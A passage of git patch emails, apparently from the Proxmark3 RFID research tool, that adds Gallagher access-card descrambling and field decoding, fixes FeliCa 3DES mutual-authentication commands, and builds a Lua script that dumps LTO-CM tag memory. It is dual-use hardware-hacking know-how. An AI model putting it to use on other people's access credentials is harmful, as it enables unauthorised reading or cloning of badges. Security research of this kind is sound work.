0x7e, 0x79, 0xc0, 0x46, 0x93, 0x2f, 0xa5, 0xba, 0x5b, 0xaf, + 0x52, 0x1d, 0xc3, 0x75, 0xcf, 0xd6, 0x4c, 0x83, 0xe8, 0x3d, 0x30, 0x4e, 0xbc, 0x08, 0x2d, 0x09, + 0x06, 0xd9, 0x25, 0x9e, 0x89, 0xf2, 0x96, 0x88, 0xc1, 0x8c, 0x94, 0x0b, 0x28, 0xf0, 0x47, 0x63, + 0xd5, 0xb3, 0x68, 0x56, 0x9c, 0xf9, 0x6f, 0x41, 0x50, 0x85, 0x8b, 0x9d, 0x59, 0xbf, 0x9f, 0xe2, + 0x8e, 0x6a, 0x11, 0x23, 0xa1, 0xcd, 0xb5, 0x7d, 0xc7, 0xa9, 0xc8, 0xef, 0xdf, 0x02, 0xb8, 0x03, + 0x6b, 0x35, 0x3e, 0x2c, 0x76, 0xc9, 0xde, 0x1c, 0x4b, 0xd1, 0xed, 0x14, 0xc5, 0xad, 0xe9, 0x64, + 0x4a, 0xec, 0x8d, 0xf7, 0x10, 0x43, 0x78, 0x15, 0x87, 0xe4, 0xd7, 0x92, 0xe1, 0xee, 0xe3, 0x90 + }; + + for (int i = 0; i < len; i++) { + arr[i] = lut[arr[i]]; + } +} + //see ASK/MAN Demod for what args are accepted static int CmdGallagherDemod(const char *Cmd) { @@ -71,10 +98,39 @@ static int CmdGallagherDemod(const char *Cmd) { uint32_t raw2 = bytebits_to_byte(DemodBuffer + 32, 32); uint32_t raw3 = bytebits_to_byte(DemodBuffer + 64, 32); - // preamble CS? + // bytes + uint8_t arr[8] = {0}; + for(int i = 0, pos = 0; i < ARRAYLEN(arr); i++) { + pos = (i * 8) + i; + arr[i] = bytebits_to_byte(DemodBuffer + pos, 8); + printf("%d -", pos ); + } + printf("\n"); - PrintAndLogEx(SUCCESS, "GALLAGHER Tag Found -- Raw: %08X%08X%08X", raw1, raw2, raw3); - PrintAndLogEx(INFO, "How the Raw ID is translated by the reader is unknown. Share your trace file on forum"); + // crc + uint8_t crc = bytebits_to_byte(DemodBuffer + 72, 8); + uint8_t calc_crc = CRC8Cardx(arr, ARRAYLEN(arr) ); + + PrintAndLogEx(INFO, " Before: %s", sprint_hex(arr, 8)); + descramble(arr, ARRAYLEN(arr)); + PrintAndLogEx(INFO, " After : %s", sprint_hex(arr, 8)); + + // 4bit region code + uint8_t rc = (arr[3] & 0x0E) >> 1; + + // 16bit FC + uint16_t fc = (arr[5] & 0x0F) << 12 | arr[1] << 4 | ((arr[7] >> 4) & 0x0F); + + // 24bit CN + uint32_t cn = arr[0] << 16 | (arr[4] & 0x1F) << 11 | arr[2] << 3 | (arr[3] & 0xE0) >> 4; + + // 4bit issue level + uint8_t il = arr[7] & 0x0F; + + PrintAndLogEx(SUCCESS, "GALLAGHER Tag Found -- Region: %u FC: %u CN: %u Issue Level: %u", rc, fc, cn, il); + PrintAndLogEx(SUCCESS, " Printed: %C%u", rc + 0x40, fc); + PrintAndLogEx(SUCCESS, " Raw: %08X%08X%08X", raw1, raw2, raw3); + PrintAndLogEx(SUCCESS, " CRC: %02X - %02X (%s)", crc, calc_crc, (crc == calc_crc) ? "OK":"Failed"); return PM3_SUCCESS; } @@ -126,7 +182,6 @@ static int CmdGallagherClone(const char *Cmd) { } static int CmdGallagherSim(const char *Cmd) { - // ASK/MAN sim. PrintAndLogEx(INFO, " To be implemented, feel free to contribute!"); return PM3_SUCCESS; @@ -152,20 +207,14 @@ int CmdLFGallagher(const char *Cmd) { return CmdsParse(CommandTable, Cmd); } -// by marshmellow -// find PAC preamble in already demoded data +// find Gallagher preamble in already demoded data int detectGallagher(uint8_t *dest, size_t *size) { if (*size < 96) return -1; //make sure buffer has data size_t startIdx = 0; - uint8_t preamble[] = { - //0, 0, 0, 0, - 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 0, 1, - 0, 1, 0, 1, 0, 1, 0, 0, - 0, 1, 1, 0, 0, 0 - }; + uint8_t preamble[] = { 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0 }; if (!preambleSearch(dest, preamble, sizeof(preamble), size, &startIdx)) return -2; //preamble not found + if (*size != 96) return -3; //wrong demoded size //return start position return (int)startIdx; From 47a416a3ac4f1a166e500f2fc3a8e19a79c27765 Mon Sep 17 00:00:00 2001 From: Thomas Sutter Date: Mon, 16 Dec 2019 14:08:30 +0100 Subject: [PATCH 084/418] Fix key length in auth1 command. --- client/cmdhffelica.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 99ca6194e..19bc807df 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -305,9 +305,9 @@ static int usage_hf_felica_authentication1() { PrintAndLogEx(NORMAL, " -h this help"); PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); PrintAndLogEx(NORMAL, "\nExamples: "); - PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 FFFFFFFFFFFFFFFF "); - PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 FFFFFFFFAAAAAAAAFFFFFFFF "); - PrintAndLogEx(NORMAL, " hf felica auth1 -i 11100910C11BC407 01 0000 01 8B00 FFFFFFFFFFFFFFFF\n\n"); + PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB "); + PrintAndLogEx(NORMAL, " hf felica auth1 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA "); + PrintAndLogEx(NORMAL, " hf felica auth1 -i 11100910C11BC407 01 0000 01 8B00 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n\n"); return PM3_SUCCESS; } @@ -597,14 +597,14 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { uint8_t master_key[PM3_CMD_DATA_SIZE]; mbedtls_des3_context des3_ctx; mbedtls_des3_init(&des3_ctx); - if (param_getlength(Cmd, paramCount) == 24) { - param_gethex(Cmd, paramCount, master_key, 24); + if (param_getlength(Cmd, paramCount) == 48) { + param_gethex(Cmd, paramCount, master_key, 48); mbedtls_des3_set3key_enc(&des3_ctx, master_key); - PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 12)); - } else if (param_getlength(Cmd, paramCount) == 16) { - param_gethex(Cmd, paramCount, master_key, 16); + PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 24)); + } else if (param_getlength(Cmd, paramCount) == 32) { + param_gethex(Cmd, paramCount, master_key, 32); mbedtls_des3_set2key_enc(&des3_ctx, master_key); - PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 8)); + PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 16)); } else { PrintAndLogEx(ERR, "Invalid key length"); return PM3_EINVARG; From a65cfc5f4b45c603336057da66b54bed071eb86f Mon Sep 17 00:00:00 2001 From: Thomas Sutter Date: Tue, 17 Dec 2019 08:19:42 +0100 Subject: [PATCH 085/418] Fix auth1 response. --- client/cmdhffelica.c | 10 ++++++++-- include/mifare.h | 6 ++++++ 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 19bc807df..1986cb9b8 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -631,8 +631,14 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { PrintAndLogEx(ERR, "\nGot no Response from card"); return PM3_ERFTRANS; } else { - PrintAndLogEx(NORMAL, "AUTH1 SUCCESS!"); - PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.data.asBytes, 256)); + felica_auth1_response_t auth1_response; + memcpy(&auth1_response, (felica_auth1_response_t *)resp.data.asBytes, sizeof(felica_auth1_response_t)); + if (auth1_response.frame_response.IDm[0] != 0) { + PrintAndLogEx(SUCCESS, "\nGot auth1 response:"); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(auth1_response.frame_response.IDm, sizeof(auth1_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "M2C: %s", sprint_hex(auth1_response.m2c, sizeof(auth1_response.m2c))); + PrintAndLogEx(SUCCESS, "M3C: %s", sprint_hex(auth1_response.m3c, sizeof(auth1_response.m3c))); + } } return PM3_SUCCESS; } diff --git a/include/mifare.h b/include/mifare.h index e278b3794..0f2758f56 100644 --- a/include/mifare.h +++ b/include/mifare.h @@ -220,6 +220,12 @@ typedef struct { uint8_t option_version_list[4]; } PACKED felica_request_spec_response_t; +typedef struct { + felica_frame_response_t frame_response; + uint8_t m2c[8]; + uint8_t m3c[8]; +} PACKED felica_auth1_response_t; + typedef enum FELICA_COMMAND { FELICA_CONNECT = (1 << 0), FELICA_NO_DISCONNECT = (1 << 1), From bb53a40adbbc7cb46ad962a2aa62ac7d5d024fe4 Mon Sep 17 00:00:00 2001 From: Thomas Sutter Date: Tue, 17 Dec 2019 13:09:14 +0100 Subject: [PATCH 086/418] Add auth1 output - experimental. Add auth2 command - experimental. --- client/cmdhffelica.c | 173 +++++++++++++++++++++++++++++++++++++++++-- include/mifare.h | 8 ++ 2 files changed, 176 insertions(+), 5 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 1986cb9b8..a8835e1e7 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -292,7 +292,7 @@ static int usage_hf_felica_authentication1() { PrintAndLogEx(NORMAL, " - Number of Services m: 1-byte (1 <= n <= 8)"); PrintAndLogEx(NORMAL, " - Service Code List: 2n byte"); PrintAndLogEx(NORMAL, " - 3DES-Key: 128-bit master secret used for the encryption"); - PrintAndLogEx(NORMAL, " - M1c: Encrypted random number (challenge for tag authentication) 8-byte"); + PrintAndLogEx(NORMAL, " - M1c: Encrypted random number - challenge for tag authentication (8-byte)"); PrintAndLogEx(NORMAL, " - Response:"); PrintAndLogEx(NORMAL, " - Response Code: 11h 1-byte"); PrintAndLogEx(NORMAL, " - Manufacture ID(IDm): 8-byte"); @@ -301,7 +301,7 @@ static int usage_hf_felica_authentication1() { PrintAndLogEx(NORMAL, " - Success: Card Mode switches to Mode1. You can check this with the request response command."); PrintAndLogEx(NORMAL, " - Unsuccessful: Card should not respond at all."); - PrintAndLogEx(NORMAL, "\nUsage: hf felica auth1 [-h][-i] <01 Number of Areas hex> <0A0B... Area Code List hex> <01 Number of Services hex> <0A0B... Service Code List hex> <0x0102030405060809 3DES-key hex (128bit)>"); + PrintAndLogEx(NORMAL, "\nUsage: hf felica auth1 [-h][-i] <01 Number of Areas hex> <0A0B... Area Code List hex> <01 Number of Services hex> <0A0B... Service Code List hex> <0x0102030405060809... 3DES-key hex (16-byte)>"); PrintAndLogEx(NORMAL, " -h this help"); PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); PrintAndLogEx(NORMAL, "\nExamples: "); @@ -311,6 +311,30 @@ static int usage_hf_felica_authentication1() { return PM3_SUCCESS; } +static int usage_hf_felica_authentication2() { + PrintAndLogEx(NORMAL, "\nInfo: Complete mutual authentication. This command can only be executed subsquent to Authentication1" + " command."); + PrintAndLogEx(NORMAL, " - Auth2 Parameters:"); + PrintAndLogEx(NORMAL, " - Manufacturer IDm: (8-byte)"); + PrintAndLogEx(NORMAL, " - M3c: card challenge (8-byte)"); + PrintAndLogEx(NORMAL, " - 3DES Key: key used for decryption of M3c (16-byte)"); + PrintAndLogEx(NORMAL, " - Response (encrypted):"); + PrintAndLogEx(NORMAL, " - Response Code: 13h (1-byte)"); + PrintAndLogEx(NORMAL, " - IDtc: (8-byte)"); + PrintAndLogEx(NORMAL, " - IDi (encrypted): (8-byte)"); + PrintAndLogEx(NORMAL, " - PMi (encrypted): (8-byte)"); + PrintAndLogEx(NORMAL, " - Success: Card switches to mode2 and sends response frame."); + PrintAndLogEx(NORMAL, " - Unsuccessful: Card should not respond at all."); + PrintAndLogEx(NORMAL, "\nUsage: hf felica auth2 [-h][-i] <0102030405060708 M3c hex> <0x0102030405060809... 3DES-key hex (16-byte)>"); + PrintAndLogEx(NORMAL, " -h this help"); + PrintAndLogEx(NORMAL, " -i <0A0B0C ... hex> set custom IDm to use"); + PrintAndLogEx(NORMAL, "\nExamples: "); + PrintAndLogEx(NORMAL, " hf felica auth2 0102030405060708 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB"); + PrintAndLogEx(NORMAL, " hf felica auth2 -i 11100910C11BC407 0102030405060708 AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB\n\n"); + + return PM3_SUCCESS; +} + /** * Wait for response from pm3 or timeout. * Checks if receveid bytes have a valid CRC. @@ -530,6 +554,12 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver } } +static void reverse_3des_key(uint8_t *master_key, int length, uint8_t *reverse_master_key){ + for(int i=0; i Date: Tue, 17 Dec 2019 13:10:06 +0100 Subject: [PATCH 087/418] Make style. --- client/cmdhffelica.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index a8835e1e7..1013518a8 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -313,7 +313,7 @@ static int usage_hf_felica_authentication1() { static int usage_hf_felica_authentication2() { PrintAndLogEx(NORMAL, "\nInfo: Complete mutual authentication. This command can only be executed subsquent to Authentication1" - " command."); + " command."); PrintAndLogEx(NORMAL, " - Auth2 Parameters:"); PrintAndLogEx(NORMAL, " - Manufacturer IDm: (8-byte)"); PrintAndLogEx(NORMAL, " - M3c: card challenge (8-byte)"); @@ -554,9 +554,9 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver } } -static void reverse_3des_key(uint8_t *master_key, int length, uint8_t *reverse_master_key){ - for(int i=0; i Date: Tue, 17 Dec 2019 13:18:00 +0100 Subject: [PATCH 088/418] Fix swapping. Make Style. --- client/cmdhffelica.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 1013518a8..398b771d3 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -554,9 +554,15 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver } } +/** + * Reverses the master secret. Example: AA AA AA AA AA AA AA BB to BB AA AA AA AA AA AA AA + * @param master_key the secret which order will be reversed. + * @param length in bytes of the master secret. + * @param reverse_master_key output in which the reversed secret is stored. + */ static void reverse_3des_key(uint8_t *master_key, int length, uint8_t *reverse_master_key) { for (int i = 0; i < length; i++) { - reverse_master_key[i] = master_key[(length + 1) - i]; + reverse_master_key[i] = master_key[(length - 1) - i]; } }; @@ -689,7 +695,8 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { if (isKeyCorrect) { PrintAndLogEx(SUCCESS, "\nAuth1 done with correct key material! Use Auth2 now with M3C and same key"); } else { - PrintAndLogEx(INFO, "\n\nP2c: %s", sprint_hex(p2c, 8)); + PrintAndLogEx(INFO, "3DES secret (swapped decryption): %s", sprint_hex(reverse_master_key, 16)); + PrintAndLogEx(INFO, "P2c: %s", sprint_hex(p2c, 8)); PrintAndLogEx(ERR, "Can't decrypt M2C with master secret (P1c != P2c)! Probably wrong keys or wrong decryption method"); } } From 08f411de6572debda720e9b670057a1351207575 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 18 Dec 2019 10:13:41 +0100 Subject: [PATCH 089/418] textual --- client/luascripts/ufodump.lua | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/luascripts/ufodump.lua b/client/luascripts/ufodump.lua index 140652492..ccf20f6b4 100644 --- a/client/luascripts/ufodump.lua +++ b/client/luascripts/ufodump.lua @@ -7,8 +7,8 @@ copyright = '' author = 'Iceman' version = 'v1.0.1' desc = [[ -This is a script that reads AZTEK iso14443a tags. -It starts from block 0, and ends at default block 20. Use 'b' to say different endblock. +This is a script that reads AZTEK ISO14443a tags. +It starts from block 0 and ends at default block 20. Use 'b' to say different endblock. xor: the first three block (0,1,2) is not XORED. The rest seems to be xored. ]] example = [[ From 0cb57915a1095dcf6dbc52aed1304389e829c1e4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 18 Dec 2019 10:14:35 +0100 Subject: [PATCH 090/418] lto-cm lua script by @kevin. reworked to be more flexble. wip. --- client/luascripts/lto_dump.lua | 182 +++++++++++++++++++++++++++++++++ 1 file changed, 182 insertions(+) create mode 100644 client/luascripts/lto_dump.lua diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua new file mode 100644 index 000000000..18542ce1f --- /dev/null +++ b/client/luascripts/lto_dump.lua @@ -0,0 +1,182 @@ +local cmds = require('commands') +local getopt = require('getopt') +local lib14a = require('read14a') +local utils = require('utils') + +copyright = '' +author = 'Kevin' +version = 'v1.0' +desc = [[ +This is a script that reads LTO-CM ISO14443a tags. +It starts from block 0 and ends at default block 20. +]] +example = [[ + -- default + script run lto_dump + + -- stop at block 10 + script run lto_dump -e 10 +]] +usage = [[ +script run lto_dump -h -s -e + +Arguments: + h this helptext + s start block in decimal + e end block in decimal +]] + +-- Some globals +local DEBUG = false -- the debug flag +local lshift = bit32.lshift + +--- +-- A debug printout-function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i+1 + end + else + print('###', args) + end +end +--- +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, err +end +--- +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print('Example usage') + print(example) + print(usage) +end + +function sendRaw(rawdata, options) + local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + lib14a.ISO14A_COMMAND.ISO14A_RAW + + if options.append_crc then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC + end + + print ('flags:', string:format("%08x",flags)) + if options.bits7 then + flags = lshift(7, 16) + flags + print ('bit 7:', string:format("%08x",flags)) + end + + local command = Command:newMIX{cmd = cmds.CMD_HF_ISO14443A_READER, + arg1 = flags, -- Send raw + -- arg2 contains the length, which is half the length + -- of the ASCII-string rawdata + arg2 = string.len(rawdata)/2, + data = rawdata} + return command:sendMIX(options.ignore_response) +end + +--- +-- get hex data from response +local function getdata(usbpacket) + local cmd_response = Command.parse(usbpacket) + local len = tonumber(cmd_response.arg1) * 2 + return string.sub(tostring(cmd_response.data), 0, len) +end + +--- +-- helper function to send payloads easier +local function send(payload, options) + local res, err = sendRaw(payload, options) + if err then + lib14a.disconnect() + return oops(err) + end + core.clearCommandBuffer() + if (options.ignore_response) + return "ok", nil + else + return res, err + end +end + +--- +-- The main entry point +function main(args) + + local startblock = 0 + local endblock = 254 + + -- Read the parameters + for o, a in getopt.getopt(args, 'hs:e:') do + if o == 'h' then return help() end + if o == 's' then startblock = a end + if o == 'e' then endblock = a end + end + +-- Original loop +-- core.console("hf 14a raw -a -p -b 7 45") +-- local cmd_select = string.format("hf 14a raw -c -p 9370%s", serial_number) +-- core.console(cmd_select) +-- for i = 0, 254 do +-- local cmd_rd_blk = string.format("hf 14a raw -c -p 30 %02x", i) +-- core.console(cmd_rd_blk) +-- core.console("hf 14a raw -p 80") +-- end +-- core.console("hf 14a raw -r") + + -- Wakeup + local payload = "45" + local res, err = send(payload,{ignore_response = false, append_crc = false, bits7 = true}) + if err then return end + + -- start selecting + payload = "9320" + res, err = send(payload,{ignore_response = false, append_crc = false}) + if err then return end + + local serial_number = getdata(res) + payload = "9370"..serial_number + res, err = send(payload,{ignore_response = false, append_crc = true}) + if err then return end + + -- Show tag info + print(('\nFound LTO-CM serial number: [%s]\n'):format(serial_number)) + + -- Dumping data + print('blk | data ') + print('----+------------------') + local block_data = {} + for block = startblock, endblock do + + payload = string.format('30%02x', block) + res, err = send(payload , {ignore_response = false, append_crc = true}) + if err then return end + + payload = "80" + res, err = send(cmd , {ignore_response = true, append_crc = false}) + if err then return end + + local data = getdata(res) + print(block, data) + table.insert(block_data, data) + end + print("----+------------------") + lib14a.disconnect() + + local filename, err = utils.WriteDumpFile(serial_number, block_data) + if err then return oops(err) end + + print(string.format('\nDumped data into %s', filename)) +end + +main(args) \ No newline at end of file From 39b765852809947d43808a64d9d0dbdcabcd4819 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 19 Dec 2019 21:03:07 +0100 Subject: [PATCH 091/418] lto_dump fixes - wrong if-statement, wrong argument for 7bit --- client/luascripts/lto_dump.lua | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua index 18542ce1f..7d938e060 100644 --- a/client/luascripts/lto_dump.lua +++ b/client/luascripts/lto_dump.lua @@ -5,7 +5,7 @@ local utils = require('utils') copyright = '' author = 'Kevin' -version = 'v1.0' +version = 'v1.0.1' desc = [[ This is a script that reads LTO-CM ISO14443a tags. It starts from block 0 and ends at default block 20. @@ -29,7 +29,7 @@ Arguments: -- Some globals local DEBUG = false -- the debug flag local lshift = bit32.lshift - +local band = bit32.band --- -- A debug printout-function local function dbg(args) @@ -63,24 +63,24 @@ local function help() print(usage) end -function sendRaw(rawdata, options) +local function sendRaw(rawdata, options) local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + lib14a.ISO14A_COMMAND.ISO14A_RAW if options.append_crc then flags = flags + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC end - - print ('flags:', string:format("%08x",flags)) + + local arg2 = #rawdata / 2 if options.bits7 then - flags = lshift(7, 16) + flags - print ('bit 7:', string:format("%08x",flags)) + arg2 = arg2 + tonumber(lshift(7, 16)) +-- print('bit 7:', ("%08x"):format(arg2)) end local command = Command:newMIX{cmd = cmds.CMD_HF_ISO14443A_READER, arg1 = flags, -- Send raw -- arg2 contains the length, which is half the length -- of the ASCII-string rawdata - arg2 = string.len(rawdata)/2, + arg2 = arg2, data = rawdata} return command:sendMIX(options.ignore_response) end @@ -102,7 +102,7 @@ local function send(payload, options) return oops(err) end core.clearCommandBuffer() - if (options.ignore_response) + if options.ignore_response then return "ok", nil else return res, err @@ -115,7 +115,6 @@ function main(args) local startblock = 0 local endblock = 254 - -- Read the parameters for o, a in getopt.getopt(args, 'hs:e:') do if o == 'h' then return help() end @@ -163,7 +162,7 @@ function main(args) if err then return end payload = "80" - res, err = send(cmd , {ignore_response = true, append_crc = false}) + res, err = send(payload, {ignore_response = true, append_crc = false}) if err then return end local data = getdata(res) @@ -179,4 +178,4 @@ function main(args) print(string.format('\nDumped data into %s', filename)) end -main(args) \ No newline at end of file +main(args) From d3723c2649ffd72302149dd2d33cd0995949ab48 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 19 Dec 2019 21:59:45 +0100 Subject: [PATCH 092/418] lto_dump - added 14a connect, no_select options --- client/luascripts/lto_dump.lua | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua index 7d938e060..ccf0a678e 100644 --- a/client/luascripts/lto_dump.lua +++ b/client/luascripts/lto_dump.lua @@ -64,8 +64,17 @@ local function help() end local function sendRaw(rawdata, options) + local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + lib14a.ISO14A_COMMAND.ISO14A_RAW + if options.connect then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_CONNECT + end + + if options.no_select then + flags = flags + lib14a.ISO14A_COMMAND.ISO14A_NO_SELECT + end + if options.append_crc then flags = flags + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC end @@ -73,7 +82,7 @@ local function sendRaw(rawdata, options) local arg2 = #rawdata / 2 if options.bits7 then arg2 = arg2 + tonumber(lshift(7, 16)) --- print('bit 7:', ("%08x"):format(arg2)) + print('bit 7:', ("%08x %08x"):format(flags, arg2)) end local command = Command:newMIX{cmd = cmds.CMD_HF_ISO14443A_READER, @@ -135,8 +144,8 @@ function main(args) -- Wakeup local payload = "45" - local res, err = send(payload,{ignore_response = false, append_crc = false, bits7 = true}) - if err then return end + local res, err = send(payload,{connect = true, no_select = true, ignore_response = false, append_crc = false, bits7 = true}) + if not err then return end -- start selecting payload = "9320" From 72d51a7774cf141107d955c706e6ac010cdc5258 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 19 Dec 2019 22:11:35 +0100 Subject: [PATCH 093/418] more fixes --- client/luascripts/lto_dump.lua | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua index ccf0a678e..9fda6ee1c 100644 --- a/client/luascripts/lto_dump.lua +++ b/client/luascripts/lto_dump.lua @@ -8,7 +8,7 @@ author = 'Kevin' version = 'v1.0.1' desc = [[ This is a script that reads LTO-CM ISO14443a tags. -It starts from block 0 and ends at default block 20. +It starts from block 0 and ends at default block 254. ]] example = [[ -- default @@ -82,7 +82,6 @@ local function sendRaw(rawdata, options) local arg2 = #rawdata / 2 if options.bits7 then arg2 = arg2 + tonumber(lshift(7, 16)) - print('bit 7:', ("%08x %08x"):format(flags, arg2)) end local command = Command:newMIX{cmd = cmds.CMD_HF_ISO14443A_READER, @@ -145,7 +144,7 @@ function main(args) -- Wakeup local payload = "45" local res, err = send(payload,{connect = true, no_select = true, ignore_response = false, append_crc = false, bits7 = true}) - if not err then return end + if err then return end -- start selecting payload = "9320" @@ -169,12 +168,13 @@ function main(args) payload = string.format('30%02x', block) res, err = send(payload , {ignore_response = false, append_crc = true}) if err then return end + + local data = getdata(res) payload = "80" res, err = send(payload, {ignore_response = true, append_crc = false}) if err then return end - local data = getdata(res) print(block, data) table.insert(block_data, data) end From cbff5bcace3ec7138980988891bcf8ba342bc940 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 19 Dec 2019 22:24:03 +0100 Subject: [PATCH 094/418] fixng the read command 0-31bytes --- client/luascripts/lto_dump.lua | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua index 9fda6ee1c..5280e99d9 100644 --- a/client/luascripts/lto_dump.lua +++ b/client/luascripts/lto_dump.lua @@ -169,14 +169,16 @@ function main(args) res, err = send(payload , {ignore_response = false, append_crc = true}) if err then return end - local data = getdata(res) + local d0_d15 = getdata(res) payload = "80" - res, err = send(payload, {ignore_response = true, append_crc = false}) + res, err = send(payload, {ignore_response = false, append_crc = false}) if err then return end - print(block, data) - table.insert(block_data, data) + local d16_d31 = getdata(res) + + print(block, d0_d15, d16_d31) + table.insert(block_data, d0_d15..d16_31) end print("----+------------------") lib14a.disconnect() From 46783e519ae9ac426e1f40cbe24c3e2ed5539727 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 19 Dec 2019 22:32:00 +0100 Subject: [PATCH 095/418] removing some crc --- client/luascripts/lto_dump.lua | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua index 5280e99d9..0ecb07ef6 100644 --- a/client/luascripts/lto_dump.lua +++ b/client/luascripts/lto_dump.lua @@ -172,11 +172,15 @@ function main(args) local d0_d15 = getdata(res) payload = "80" - res, err = send(payload, {ignore_response = false, append_crc = false}) + res, err = send(payload, {ignore_response = false, append_crc = true}) if err then return end local d16_d31 = getdata(res) + -- remove crc bytes + d0_d15 = string.sub(d0_d15, 0, #d0_d15 - 4) + d16_d31 = string.sub(d16_d31, 0, #d16_d31 - 4) + print(block, d0_d15, d16_d31) table.insert(block_data, d0_d15..d16_31) end From 818de78a1c68cb015dc2527106a04d98d9305184 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 19 Dec 2019 22:34:07 +0100 Subject: [PATCH 096/418] fix wrong vars name --- client/luascripts/lto_dump.lua | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua index 0ecb07ef6..03982cee1 100644 --- a/client/luascripts/lto_dump.lua +++ b/client/luascripts/lto_dump.lua @@ -182,7 +182,7 @@ function main(args) d16_d31 = string.sub(d16_d31, 0, #d16_d31 - 4) print(block, d0_d15, d16_d31) - table.insert(block_data, d0_d15..d16_31) + table.insert(block_data, d0_d15..d16_d31) end print("----+------------------") lib14a.disconnect() From 25b2a8b06ba42a5e6a412ed72592dfe9b3dacdce Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 19 Dec 2019 22:51:41 +0100 Subject: [PATCH 097/418] nice output --- client/luascripts/lto_dump.lua | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua index 03982cee1..456cb2cb1 100644 --- a/client/luascripts/lto_dump.lua +++ b/client/luascripts/lto_dump.lua @@ -181,7 +181,7 @@ function main(args) d0_d15 = string.sub(d0_d15, 0, #d0_d15 - 4) d16_d31 = string.sub(d16_d31, 0, #d16_d31 - 4) - print(block, d0_d15, d16_d31) + print(block, d0_d15..d16_d31) table.insert(block_data, d0_d15..d16_d31) end print("----+------------------") From 85170f914e577a26916584d02af8233a816ee9ec Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Dec 2019 11:19:58 +0100 Subject: [PATCH 098/418] b0 doesnt use crc --- client/luascripts/lto_dump.lua | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 